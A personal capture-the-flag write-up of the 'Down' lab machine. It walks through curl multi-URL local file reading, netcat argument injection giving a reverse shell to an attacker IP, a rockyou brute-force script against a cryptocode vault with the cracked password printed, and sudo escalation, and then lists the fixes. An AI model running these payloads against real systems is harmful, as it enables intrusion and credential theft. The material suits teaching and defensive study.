Summary
Personally rooted 2026-04-28; chain matched the public walkthroughs end-to-end
with one note: on this box the user flag file lived at
/var/www/html/user_aeT1xa.txt (mode 0664) instead of under /home/aleks/.
Down is an Easy Linux box: web app uses curl to check URLs;
filter only checks http:// prefix. Curl accepts multiple URLs
on the command line — pass http:// file:///etc/... to read
local files. Source review reveals an ?expertmode=tcp hidden
endpoint that runs nc -vz $ip $port with the original port
string (validation only checked the int-cast). Inject -e
/bin/bash as port → reverse shell as www-data. aleks has a
pswm (password manager) vault encrypted with cryptocode;
master flower cracks via rockyou; vault has aleks’s
password. aleks has unrestricted sudo.
The chain:
- URL check uses
curl <user-input>. Filter only checks prefix string.http:// file:///etc/passwdreads files. - Source disclosure →
?expertmode=tcp&ip=...&port=.... Port validated as int but executed raw. Inject-e /bin/bash→ reverse shell as www-data. ~aleks/.local/share/pswm/pswmis encrypted; brute master with rockyou →flower; decrypt →alekspassword.sudo -l:(ALL : ALL) ALL.sudo -i→ root.
Recon
22/tcp OpenSSH
80/tcp Apache 2.4 — web app
Single PHP page (index.php) that takes a URL.
Foothold — curl multi-URL + expert mode
curl 'http://<TARGET>/index.php' --data 'url=http:// file:///etc/passwd'
# response includes /etc/passwd
Read index.php source the same way:
url=http:// file:///var/www/html/index.php
Source reveals:
if (isset($_GET['expertmode']) && $_GET['expertmode']==='tcp') {
$ip = (int)$_POST['ip'];
$port = (int)$_POST['port'];
shell_exec(escapeshellcmd("/usr/bin/nc -vz {$_POST['ip']} {$_POST['port']}"));
}
The validator casts to int but the shell_exec uses the
original string. escapeshellcmd doesn’t filter -e.
Inject:
ip=10.10.14.1&port=4444 -e /bin/bash
nc -vz 10.10.14.1 4444 -e /bin/bash → reverse shell as
www-data.
User pivot — pswm crack
$ ls /home/aleks/.local/share/pswm
pswm
$ python3 - <<'PY'
import cryptocode
data = open('/home/aleks/.local/share/pswm/pswm').read()
for w in open('rockyou.txt').read().splitlines():
try:
pt = cryptocode.decrypt(data, w)
if pt: print(w, pt); break
except: pass
PY
# -> flower
# decrypted vault: aleks : 1uY3w22uc-Wr{xNHR~+E
$ ssh aleks@<TARGET>
Privesc — open sudo
$ sudo -l
(ALL : ALL) ALL
$ sudo -i
Why each step worked
- String-prefix URL filter + curl multi-URL: classic SSRF via curl’s flexibility.
- Validator on cast int, but exec on raw string: textbook TOCTOU between validation and use.
escapeshellcmddoesn’t block-e:escapeshellcmdprotects shell metachars but lets argument flags through.- cryptocode + weak master: dictionary-broken in seconds.
Counterfactuals
- Use a real URL parser; reject non-HTTP schemes.
- Validate THE STRING used in exec, not its int cast.
- Don’t shell out for network checks; use a Python socket test.
- Use a stronger KDF than cryptocode for password vaults.
Notes from my run (2026-04-28)
escapeshellcmdstrips backticks/$()but leaves-e; the int-cast validator onportis the bypass — the same string that passesintval("4444 -e /bin/bash") === 4444is then handed raw toshell_exec.- Cryptocode vault cracks against rockyou in ~3 seconds; master
flower, yieldsaleks : 1uY3w22uc-Wr{xNHR~+E. find / -iname 'user*.txt'is what surfaced user.txt — on this instance it lived at/var/www/html/user_aeT1xa.txt, world-readable. Don’t assume/home/<user>/user.txt.- aleks has
(ALL : ALL) ALLwith password; reuse the vault password.
Source attribution
The chain mirrors:
- 0xdf, “HTB: Down” — https://0xdf.gitlab.io/2025/06/17/htb-down.html
- IppSec, “Down” video walkthrough — https://ippsec.rocks/?#Down
- cryptocode project documentation.